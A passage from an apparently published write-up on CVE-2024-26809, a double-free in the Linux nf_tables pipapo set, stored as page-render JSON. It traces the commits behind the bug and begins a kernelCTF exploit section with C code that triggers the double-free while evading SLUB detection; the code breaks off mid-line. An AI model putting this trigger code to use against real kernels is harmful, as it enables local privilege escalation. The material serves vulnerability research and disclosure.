nft_commit_release",{"type":23,"tag":504,"props":52415,"children":52416},{"style":523},[52417],{"type":28,"value":526},{"type":23,"tag":504,"props":52419,"children":52420},{"style":511},[52421],{"type":28,"value":8383},{"type":23,"tag":504,"props":52423,"children":52424},{"style":523},[52425],{"type":28,"value":52426}," nft_trans ",{"type":23,"tag":504,"props":52428,"children":52429},{"style":598},[52430],{"type":28,"value":3552},{"type":23,"tag":504,"props":52432,"children":52433},{"style":529},[52434],{"type":28,"value":51539},{"type":23,"tag":504,"props":52436,"children":52437},{"style":523},[52438],{"type":28,"value":1192},{"type":23,"tag":504,"props":52440,"children":52441},{"class":506,"line":1334},[52442],{"type":23,"tag":504,"props":52443,"children":52444},{"style":523},[52445],{"type":28,"value":9862},{"type":23,"tag":504,"props":52447,"children":52448},{"class":506,"line":1370},[52449,52454,52458,52462,52466,52470],{"type":23,"tag":504,"props":52450,"children":52451},{"style":544},[52452],{"type":28,"value":52453}," switch",{"type":23,"tag":504,"props":52455,"children":52456},{"style":523},[52457],{"type":28,"value":801},{"type":23,"tag":504,"props":52459,"children":52460},{"style":529},[52461],{"type":28,"value":51539},{"type":23,"tag":504,"props":52463,"children":52464},{"style":523},[52465],{"type":28,"value":12738},{"type":23,"tag":504,"props":52467,"children":52468},{"style":529},[52469],{"type":28,"value":51577},{"type":23,"tag":504,"props":52471,"children":52472},{"style":523},[52473],{"type":28,"value":537},{"type":23,"tag":504,"props":52475,"children":52476},{"class":506,"line":1384},[52477],{"type":23,"tag":504,"props":52478,"children":52479},{"style":523},[52480],{"type":28,"value":9299},{"type":23,"tag":504,"props":52482,"children":52483},{"class":506,"line":1392},[52484,52489],{"type":23,"tag":504,"props":52485,"children":52486},{"style":544},[52487],{"type":28,"value":52488}," case",{"type":23,"tag":504,"props":52490,"children":52491},{"style":523},[52492],{"type":28,"value":52493}," NFT_MSG_DELSET:\n",{"type":23,"tag":504,"props":52495,"children":52496},{"class":506,"line":1400},[52497,52501],{"type":23,"tag":504,"props":52498,"children":52499},{"style":544},[52500],{"type":28,"value":52488},{"type":23,"tag":504,"props":52502,"children":52503},{"style":523},[52504],{"type":28,"value":52505}," NFT_MSG_DESTROYSET:\n",{"type":23,"tag":504,"props":52507,"children":52508},{"class":506,"line":1422},[52509,52514,52518,52522,52526,52530,52534,52538,52542],{"type":23,"tag":504,"props":52510,"children":52511},{"style":517},[52512],{"type":28,"value":52513},"  nft_set_destroy",{"type":23,"tag":504,"props":52515,"children":52516},{"style":523},[52517],{"type":28,"value":526},{"type":23,"tag":504,"props":52519,"children":52520},{"style":598},[52521],{"type":28,"value":2086},{"type":23,"tag":504,"props":52523,"children":52524},{"style":523},[52525],{"type":28,"value":51539},{"type":23,"tag":504,"props":52527,"children":52528},{"style":598},[52529],{"type":28,"value":12738},{"type":23,"tag":504,"props":52531,"children":52532},{"style":529},[52533],{"type":28,"value":19262},{"type":23,"tag":504,"props":52535,"children":52536},{"style":523},[52537],{"type":28,"value":576},{"type":23,"tag":504,"props":52539,"children":52540},{"style":517},[52541],{"type":28,"value":51505},{"type":23,"tag":504,"props":52543,"children":52544},{"style":523},[52545],{"type":28,"value":52546},"(trans));\n",{"type":23,"tag":504,"props":52548,"children":52549},{"class":506,"line":1450},[52550],{"type":23,"tag":504,"props":52551,"children":52552},{"style":523},[52553],{"type":28,"value":9299},{"type":23,"tag":504,"props":52555,"children":52556},{"class":506,"line":1463},[52557],{"type":23,"tag":504,"props":52558,"children":52559},{"style":523},[52560],{"type":28,"value":884},{"type":23,"tag":504,"props":52562,"children":52563},{"class":506,"line":1485},[52564],{"type":23,"tag":504,"props":52565,"children":52566},{"style":523},[52567],{"type":28,"value":9299},{"type":23,"tag":504,"props":52569,"children":52570},{"class":506,"line":1503},[52571,52575,52579,52584,52588,52592,52596,52600,52604,52609,52613,52617,52621],{"type":23,"tag":504,"props":52572,"children":52573},{"style":511},[52574],{"type":28,"value":50023},{"type":23,"tag":504,"props":52576,"children":52577},{"style":511},[52578],{"type":28,"value":50028},{"type":23,"tag":504,"props":52580,"children":52581},{"style":517},[52582],{"type":28,"value":52583}," nft_set_destroy",{"type":23,"tag":504,"props":52585,"children":52586},{"style":523},[52587],{"type":28,"value":526},{"type":23,"tag":504,"props":52589,"children":52590},{"style":511},[52591],{"type":28,"value":8635},{"type":23,"tag":504,"props":52593,"children":52594},{"style":511},[52595],{"type":28,"value":20132},{"type":23,"tag":504,"props":52597,"children":52598},{"style":523},[52599],{"type":28,"value":50050},{"type":23,"tag":504,"props":52601,"children":52602},{"style":598},[52603],{"type":28,"value":3552},{"type":23,"tag":504,"props":52605,"children":52606},{"style":523},[52607],{"type":28,"value":52608},"ctx, ",{"type":23,"tag":504,"props":52610,"children":52611},{"style":511},[52612],{"type":28,"value":8383},{"type":23,"tag":504,"props":52614,"children":52615},{"style":523},[52616],{"type":28,"value":50078},{"type":23,"tag":504,"props":52618,"children":52619},{"style":598},[52620],{"type":28,"value":3552},{"type":23,"tag":504,"props":52622,"children":52623},{"style":523},[52624],{"type":28,"value":52625},"set)\n",{"type":23,"tag":504,"props":52627,"children":52628},{"class":506,"line":1516},[52629],{"type":23,"tag":504,"props":52630,"children":52631},{"style":523},[52632],{"type":28,"value":9862},{"type":23,"tag":504,"props":52634,"children":52635},{"class":506,"line":1543},[52636],{"type":23,"tag":504,"props":52637,"children":52638},{"style":523},[52639],{"type":28,"value":9299},{"type":23,"tag":504,"props":52641,"children":52642},{"class":506,"line":1583},[52643,52647,52651,52655,52659,52664],{"type":23,"tag":504,"props":52644,"children":52645},{"style":529},[52646],{"type":28,"value":52064},{"type":23,"tag":504,"props":52648,"children":52649},{"style":523},[52650],{"type":28,"value":12738},{"type":23,"tag":504,"props":52652,"children":52653},{"style":529},[52654],{"type":28,"value":51648},{"type":23,"tag":504,"props":52656,"children":52657},{"style":523},[52658],{"type":28,"value":12738},{"type":23,"tag":504,"props":52660,"children":52661},{"style":517},[52662],{"type":28,"value":52663},"destroy",{"type":23,"tag":504,"props":52665,"children":52666},{"style":523},[52667],{"type":28,"value":52668},"(ctx, set);\n",{"type":23,"tag":504,"props":52670,"children":52671},{"class":506,"line":1605},[52672],{"type":23,"tag":504,"props":52673,"children":52674},{"style":523},[52675],{"type":28,"value":9299},{"type":23,"tag":504,"props":52677,"children":52678},{"class":506,"line":1614},[52679],{"type":23,"tag":504,"props":52680,"children":52681},{"style":523},[52682],{"type":28,"value":884},{"type":23,"tag":24,"props":52684,"children":52685},{},[52686,52688,52693,52695,52700,52702,52708,52710,52715,52717,52722,52724,52728,52730,52735,52736,52740,52742,52748],{"type":28,"value":52687},"It may appear as if it would be impossible to make ",{"type":23,"tag":56,"props":52689,"children":52691},{"className":52690},[],[52692],{"type":28,"value":49952},{"type":28,"value":52694}," true in the release step because the ",{"type":23,"tag":56,"props":52696,"children":52698},{"className":52697},[],[52699],{"type":28,"value":51323},{"type":28,"value":52701}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":23,"tag":56,"props":52703,"children":52705},{"className":52704},[],[52706],{"type":28,"value":52707},"set->dead",{"type":28,"value":52709}," flag. If a ",{"type":23,"tag":56,"props":52711,"children":52713},{"className":52712},[],[52714],{"type":28,"value":49998},{"type":28,"value":52716}," was marked for deletion, it receives the ",{"type":23,"tag":56,"props":52718,"children":52720},{"className":52719},[],[52721],{"type":28,"value":52707},{"type":28,"value":52723}," flag ",{"type":23,"tag":504,"props":52725,"children":52726},{},[52727],{"type":28,"value":2100},{"type":28,"value":52729},". If this flag is set, then the commit path will skip any commitments to this ",{"type":23,"tag":56,"props":52731,"children":52733},{"className":52732},[],[52734],{"type":28,"value":49998},{"type":28,"value":5441},{"type":23,"tag":504,"props":52737,"children":52738},{},[52739],{"type":28,"value":16508},{"type":28,"value":52741},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":23,"tag":56,"props":52743,"children":52745},{"className":52744},[],[52746],{"type":28,"value":52747},"priv ->dirty",{"type":28,"value":52749}," flag is not cleared when it should have been.",{"type":23,"tag":70,"props":52751,"children":52753},{"id":52752},"tracing-the-guilty-commit",[52754],{"type":28,"value":52755},"Tracing the guilty commit",{"type":23,"tag":24,"props":52757,"children":52758},{},[52759,52761,52768,52770,52776,52778,52783,52785,52791],{"type":28,"value":52760},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":23,"tag":92,"props":52762,"children":52765},{"href":52763,"rel":52764},"https://ubuntu.com/security/CVE-2024-26809",[96],[52766],{"type":28,"value":52767},"advisories",{"type":28,"value":52769}," about this vulnerability will say it was introduced by this ",{"type":23,"tag":92,"props":52771,"children":52774},{"href":52772,"rel":52773},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[96],[52775],{"type":28,"value":51657},{"type":28,"value":52777},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":23,"tag":56,"props":52779,"children":52781},{"className":52780},[],[52782],{"type":28,"value":52707},{"type":28,"value":52784}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":23,"tag":92,"props":52786,"children":52789},{"href":52787,"rel":52788},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[96],[52790],{"type":28,"value":51657},{"type":28,"value":320},{"type":23,"tag":24,"props":52793,"children":52794},{},[52795],{"type":28,"value":52796},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":23,"tag":494,"props":52798,"children":52802},{"className":52799,"code":52800,"language":52801,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919]  \u003CTASK>\n[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952]  ? __nla_validate_parse+0x48/0x190\n[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963]  netlink_unicast+0x211/0x340\n[16302.231969]  netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[52803],{"type":23,"tag":56,"props":52804,"children":52805},{"__ignoreMap":7},[52806,52814,52822,52829,52837,52845,52852,52860,52867,52875,52883,52890,52898,52906,52914,52922,52930,52938,52946,52954,52962,52969,52977,52985,52992,53000,53008,53016,53024,53032,53039,53047,53055],{"type":23,"tag":504,"props":52807,"children":52808},{"class":506,"line":507},[52809],{"type":23,"tag":504,"props":52810,"children":52811},{},[52812],{"type":28,"value":52813},"New elements that reside in the clone are not released in case that the\n",{"type":23,"tag":504,"props":52815,"children":52816},{"class":506,"line":540},[52817],{"type":23,"tag":504,"props":52818,"children":52819},{},[52820],{"type":28,"value":52821},"transaction is aborted.\n",{"type":23,"tag":504,"props":52823,"children":52824},{"class":506,"line":555},[52825],{"type":23,"tag":504,"props":52826,"children":52827},{"emptyLinePlaceholder":16},[52828],{"type":28,"value":1038},{"type":23,"tag":504,"props":52830,"children":52831},{"class":506,"line":633},[52832],{"type":23,"tag":504,"props":52833,"children":52834},{},[52835],{"type":28,"value":52836},"[16302.231754] ------------[ cut here ]------------\n",{"type":23,"tag":504,"props":52838,"children":52839},{"class":506,"line":687},[52840],{"type":23,"tag":504,"props":52841,"children":52842},{},[52843],{"type":28,"value":52844},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":504,"props":52846,"children":52847},{"class":506,"line":736},[52848],{"type":23,"tag":504,"props":52849,"children":52850},{},[52851],{"type":28,"value":9299},{"type":23,"tag":504,"props":52853,"children":52854},{"class":506,"line":785},[52855],{"type":23,"tag":504,"props":52856,"children":52857},{},[52858],{"type":28,"value":52859},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G        W         5.19.0-rc3+ #155\n",{"type":23,"tag":504,"props":52861,"children":52862},{"class":506,"line":813},[52863],{"type":23,"tag":504,"props":52864,"children":52865},{},[52866],{"type":28,"value":9299},{"type":23,"tag":504,"props":52868,"children":52869},{"class":506,"line":851},[52870],{"type":23,"tag":504,"props":52871,"children":52872},{},[52873],{"type":28,"value":52874},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":504,"props":52876,"children":52877},{"class":506,"line":869},[52878],{"type":23,"tag":504,"props":52879,"children":52880},{},[52881],{"type":28,"value":52882},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":23,"tag":504,"props":52884,"children":52885},{"class":506,"line":878},[52886],{"type":23,"tag":504,"props":52887,"children":52888},{},[52889],{"type":28,"value":9299},{"type":23,"tag":504,"props":52891,"children":52892},{"class":506,"line":1221},[52893],{"type":23,"tag":504,"props":52894,"children":52895},{},[52896],{"type":28,"value":52897},"[16302.231917] Call Trace:\n",{"type":23,"tag":504,"props":52899,"children":52900},{"class":506,"line":1276},[52901],{"type":23,"tag":504,"props":52902,"children":52903},{},[52904],{"type":28,"value":52905},"[16302.231919]  \u003CTASK>\n",{"type":23,"tag":504,"props":52907,"children":52908},{"class":506,"line":1285},[52909],{"type":23,"tag":504,"props":52910,"children":52911},{},[52912],{"type":28,"value":52913},"[16302.231921]  __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":23,"tag":504,"props":52915,"children":52916},{"class":506,"line":1294},[52917],{"type":23,"tag":504,"props":52918,"children":52919},{},[52920],{"type":28,"value":52921},"[16302.231934]  nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":23,"tag":504,"props":52923,"children":52924},{"class":506,"line":1302},[52925],{"type":23,"tag":504,"props":52926,"children":52927},{},[52928],{"type":28,"value":52929},"[16302.231946]  nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":23,"tag":504,"props":52931,"children":52932},{"class":506,"line":1311},[52933],{"type":23,"tag":504,"props":52934,"children":52935},{},[52936],{"type":28,"value":52937},"[16302.231952]  ? __nla_validate_parse+0x48/0x190\n",{"type":23,"tag":504,"props":52939,"children":52940},{"class":506,"line":1334},[52941],{"type":23,"tag":504,"props":52942,"children":52943},{},[52944],{"type":28,"value":52945},"[16302.231959]  nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":23,"tag":504,"props":52947,"children":52948},{"class":506,"line":1370},[52949],{"type":23,"tag":504,"props":52950,"children":52951},{},[52952],{"type":28,"value":52953},"[16302.231963]  netlink_unicast+0x211/0x340\n",{"type":23,"tag":504,"props":52955,"children":52956},{"class":506,"line":1384},[52957],{"type":23,"tag":504,"props":52958,"children":52959},{},[52960],{"type":28,"value":52961},"[16302.231969]  netlink_sendmsg+0x21e/0x460\n",{"type":23,"tag":504,"props":52963,"children":52964},{"class":506,"line":1392},[52965],{"type":23,"tag":504,"props":52966,"children":52967},{"emptyLinePlaceholder":16},[52968],{"type":28,"value":1038},{"type":23,"tag":504,"props":52970,"children":52971},{"class":506,"line":1400},[52972],{"type":23,"tag":504,"props":52973,"children":52974},{},[52975],{"type":28,"value":52976},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":23,"tag":504,"props":52978,"children":52979},{"class":506,"line":1422},[52980],{"type":23,"tag":504,"props":52981,"children":52982},{},[52983],{"type":28,"value":52984},"elements in the lookup tables.\n",{"type":23,"tag":504,"props":52986,"children":52987},{"class":506,"line":1450},[52988],{"type":23,"tag":504,"props":52989,"children":52990},{"emptyLinePlaceholder":16},[52991],{"type":28,"value":1038},{"type":23,"tag":504,"props":52993,"children":52994},{"class":506,"line":1463},[52995],{"type":23,"tag":504,"props":52996,"children":52997},{},[52998],{"type":28,"value":52999},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":23,"tag":504,"props":53001,"children":53002},{"class":506,"line":1485},[53003],{"type":23,"tag":504,"props":53004,"children":53005},{},[53006],{"type":28,"value":53007},"cloned matching data if priv->dirty is set, because that means that\n",{"type":23,"tag":504,"props":53009,"children":53010},{"class":506,"line":1503},[53011],{"type":23,"tag":504,"props":53012,"children":53013},{},[53014],{"type":28,"value":53015},"cloned data might point to additional elements we did not commit to the\n",{"type":23,"tag":504,"props":53017,"children":53018},{"class":506,"line":1516},[53019],{"type":23,"tag":504,"props":53020,"children":53021},{},[53022],{"type":28,"value":53023},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":23,"tag":504,"props":53025,"children":53026},{"class":506,"line":1543},[53027],{"type":23,"tag":504,"props":53028,"children":53029},{},[53030],{"type":28,"value":53031},"to it).\"\n",{"type":23,"tag":504,"props":53033,"children":53034},{"class":506,"line":1583},[53035],{"type":23,"tag":504,"props":53036,"children":53037},{"emptyLinePlaceholder":16},[53038],{"type":28,"value":1038},{"type":23,"tag":504,"props":53040,"children":53041},{"class":506,"line":1605},[53042],{"type":23,"tag":504,"props":53043,"children":53044},{},[53045],{"type":28,"value":53046},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":23,"tag":504,"props":53048,"children":53049},{"class":506,"line":1614},[53050],{"type":23,"tag":504,"props":53051,"children":53052},{},[53053],{"type":28,"value":53054},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":23,"tag":504,"props":53056,"children":53057},{"class":506,"line":1627},[53058],{"type":23,"tag":504,"props":53059,"children":53060},{},[53061],{"type":28,"value":53062},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":23,"tag":24,"props":53064,"children":53065},{},[53066,53068,53073,53075,53080,53082,53087,53089,53094],{"type":28,"value":53067},"As we previously discussed, committing changes to a pipapo ",{"type":23,"tag":56,"props":53069,"children":53071},{"className":53070},[],[53072],{"type":28,"value":49998},{"type":28,"value":53074}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":23,"tag":56,"props":53076,"children":53078},{"className":53077},[],[53079],{"type":28,"value":51323},{"type":28,"value":53081}," method by simply replacing the ",{"type":23,"tag":56,"props":53083,"children":53085},{"className":53084},[],[53086],{"type":28,"value":49998},{"type":28,"value":53088},"s match object with its updated clone. So checking the ",{"type":23,"tag":56,"props":53090,"children":53092},{"className":53091},[],[53093],{"type":28,"value":49952},{"type":28,"value":53095}," flag and then calling free again ensures we also free uncommitted changes.",{"type":23,"tag":24,"props":53097,"children":53098},{},[53099,53101,53106],{"type":28,"value":53100},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":23,"tag":56,"props":53102,"children":53104},{"className":53103},[],[53105],{"type":28,"value":49998},{"type":28,"value":53107},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":23,"tag":24,"props":53109,"children":53110},{},[53111,53113,53119,53121,53126,53128,53133],{"type":28,"value":53112},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":23,"tag":56,"props":53114,"children":53116},{"className":53115},[],[53117],{"type":28,"value":53118},"set->ops->destroy()",{"type":28,"value":53120}," could be called without clearing the ",{"type":23,"tag":56,"props":53122,"children":53124},{"className":53123},[],[53125],{"type":28,"value":49952},{"type":28,"value":53127}," flag, which was fine considering you didn't have duplicated views of the ",{"type":23,"tag":56,"props":53129,"children":53131},{"className":53130},[],[53132],{"type":28,"value":49990},{"type":28,"value":53134},"s, so they would all be in the clone set.",{"type":23,"tag":24,"props":53136,"children":53137},{},[53138,53140,53145],{"type":28,"value":53139},"But when the ",{"type":23,"tag":56,"props":53141,"children":53143},{"className":53142},[],[53144],{"type":28,"value":52707},{"type":28,"value":53146}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":23,"tag":24,"props":53148,"children":53149},{},[53150],{"type":28,"value":53151},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":23,"tag":70,"props":53153,"children":53155},{"id":53154},"kernelctf-exploit",[53156],{"type":28,"value":53157},"KernelCTF exploit",{"type":23,"tag":24,"props":53159,"children":53160},{},[53161,53163,53169,53171,53178],{"type":28,"value":53162},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":23,"tag":56,"props":53164,"children":53166},{"className":53165},[],[53167],{"type":28,"value":53168},"nft_object + udata",{"type":28,"value":53170}," technique shared by lonial con in a ",{"type":23,"tag":92,"props":53172,"children":53175},{"href":53173,"rel":53174},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[96],[53176],{"type":28,"value":53177},"previous kernelCTF exploit",{"type":28,"value":320},{"type":23,"tag":82,"props":53180,"children":53182},{"id":53181},"trigger-uafavoid-double-free-detection",[53183],{"type":28,"value":53184},"Trigger UAF/avoid double-free detection",{"type":23,"tag":24,"props":53186,"children":53187},{},[53188,53190,53196,53198,53204],{"type":28,"value":53189},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":23,"tag":56,"props":53191,"children":53193},{"className":53192},[],[53194],{"type":28,"value":53195},"nft_set_pipapo_match_destroy",{"type":28,"value":53197}," iterates over the ",{"type":23,"tag":56,"props":53199,"children":53201},{"className":53200},[],[53202],{"type":28,"value":53203},"setelems",{"type":28,"value":53205}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":23,"tag":41,"props":53207,"children":53208},{},[53209,53214,53219,53224],{"type":23,"tag":45,"props":53210,"children":53211},{},[53212],{"type":28,"value":53213},"Element A gets freed",{"type":23,"tag":45,"props":53215,"children":53216},{},[53217],{"type":28,"value":53218},"Element B gets free",{"type":23,"tag":45,"props":53220,"children":53221},{},[53222],{"type":28,"value":53223},"Element A gets freed again (double-free)",{"type":23,"tag":45,"props":53225,"children":53226},{},[53227],{"type":28,"value":53228},"Element B gets freed again (double-free)",{"type":23,"tag":494,"props":53230,"children":53232},{"className":28091,"code":53231,"language":28093,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n    // TRANSACTION 2\n[...]\n\n    // create pipapo set\n    uint8_t desc[2] = {16, 16};\n    set = create_set(\n        batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n        NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n    // commit 2 elems to set (elems A and B that will be double-freed)\n    for (int i = 0; i \u003C 2; i++)\n    {\n        elem[i] = nftnl_set_elem_alloc();\n        memset(key, 0x41 + i, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n        nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n        nftnl_set_elem_add(set, elem[i]);\n    }\n[...]\n\n    // TRANSACTION 3\n[...]\n    set = nftnl_set_alloc();\n    nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n    nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n    nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n    // make priv->dirty true\n    memset(key, 0xff, KEY_LEN);\n    elem[3] = nftnl_set_elem_alloc();\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n    nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n    nftnl_set_elem_add(set, elem[3]);\n[...]\n\n    // double-free commited elems\n[...]\n    nftnl_set_free(set);\n}\n[...]\n",[53233],{"type":23,"tag":56,"props":53234,"children":53235},{"__ignoreMap":7},[53236,53243,53304,53311,53318,53326,53333,53340,53348,53372,53393,53427,53488,53495,53503,53555,53562,53588,53615,53654,53683,53712,53734,53741,53748,53755,53763,53770,53778,53791,53804,53824,53831,53839,53861,53893,53938,53974,54002,54009,54016,54024,54031,54047,54054],{"type":23,"tag":504,"props":53237,"children":53238},{"class":506,"line":507},[53239],{"type":23,"tag":504,"props":53240,"children":53241},{"style":523},[53242],{"type":28,"value":9299},{"type":23,"tag":504,"props":53244,"children":53245},{"class":506,"line":540},[53246,53251,53255,53260,53264,53269,53273,53278,53283,53287,53291,53295,53300],{"type":23,"tag":504,"props":53247,"children":53248},{"style":523},[53249],{"type":28,"value":53250},"static void trigger_uaf(",{"type":23,"tag":504,"props":53252,"children":53253},{"style":511},[53254],{"type":28,"value":8383},{"type":23,"tag":504,"props":53256,"children":53257},{"style":1012},[53258],{"type":28,"value":53259}," mnl_socket",{"type":23,"tag":504,"props":53261,"children":53262},{"style":511},[53263],{"type":28,"value":8797},{"type":23,"tag":504,"props":53265,"children":53266},{"style":529},[53267],{"type":28,"value":53268},"nl",{"type":23,"tag":504,"props":53270,"children":53271},{"style":523},[53272],{"type":28,"value":576},{"type":23,"tag":504,"props":53274,"children":53275},{"style":511},[53276],{"type":28,"value":53277},"size_t",{"type":23,"tag":504,"props":53279,"children":53280},{"style":529},[53281],{"type":28,"value":53282}," size",{"type":23,"tag":504,"props":53284,"children":53285},{"style":523},[53286],{"type":28,"value":576},{"type":23,"tag":504,"props":53288,"children":53289},{"style":511},[53290],{"type":28,"value":18028},{"type":23,"tag":504,"props":53292,"children":53293},{"style":511},[53294],{"type":28,"value":8797},{"type":23,"tag":504,"props":53296,"children":53297},{"style":529},[53298],{"type":28,"value":53299},"msgqids",{"type":23,"tag":504,"props":53301,"children":53302},{"style":523},[53303],{"type":28,"value":1192},{"type":23,"tag":504,"props":53305,"children":53306},{"class":506,"line":555},[53307],{"type":23,"tag":504,"props":53308,"children":53309},{"style":523},[53310],{"type":28,"value":9862},{"type":23,"tag":504,"props":53312,"children":53313},{"class":506,"line":633},[53314],{"type":23,"tag":504,"props":53315,"children":53316},{"style":523},[53317],{"type":28,"value":9299},{"type":23,"tag":504,"props":53319,"children":53320},{"class":506,"line":687},[53321],{"type":23,"tag":504,"props":53322,"children":53323},{"style":523},[53324],{"type":28,"value":53325},"    // TRANSACTION 2\n",{"type":23,"tag":504,"props":53327,"children":53328},{"class":506,"line":736},[53329],{"type":23,"tag":504,"props":53330,"children":53331},{"style":523},[53332],{"type":28,"value":9299},{"type":23,"tag":504,"props":53334,"children":53335},{"class":506,"line":785},[53336],{"type":23,"tag":504,"props":53337,"children":53338},{"emptyLinePlaceholder":16},[53339],{"type":28,"value":1038},{"type":23,"tag":504,"props":53341,"children":53342},{"class":506,"line":813},[53343],{"type":23,"tag":504,"props":53344,"children":53345},{"style":523},[53346],{"type":28,"value":53347},"    // create pipapo set\n",{"type":23,"tag":504,"props":53349,"children":53350},{"class":506,"line":851},[53351,53356,53360,53364,53368],{"type":23,"tag":504,"props":53352,"children":53353},{"style":523},[53354],{"type":28,"value":53355},"    uint8_t desc[2] = {",{"type":23,"tag":504,"props":53357,"children":53358},{"style":1440},[53359],{"type":28,"value":39821},{"type":23,"tag":504,"props":53361,"children":53362},{"style":523},[53363],{"type":28,"value":576},{"type":23,"tag":504,"props":53365,"children":53366},{"style":1440},[53367],{"type":28,"value":39821},{"type":23,"tag":504,"props":53369,"children":53370},{"style":523},[53371],{"type":28,"value":15556},{"type":23,"tag":504,"props":53373,"children":53374},{"class":506,"line":869},[53375,53380,53384,53389],{"type":23,"tag":504,"props":53376,"children":53377},{"style":523},[53378],{"type":28,"value":53379},"    set ",{"type":23,"tag":504,"props":53381,"children":53382},{"style":598},[53383],{"type":28,"value":601},{"type":23,"tag":504,"props":53385,"children":53386},{"style":517},[53387],{"type":28,"value":53388}," 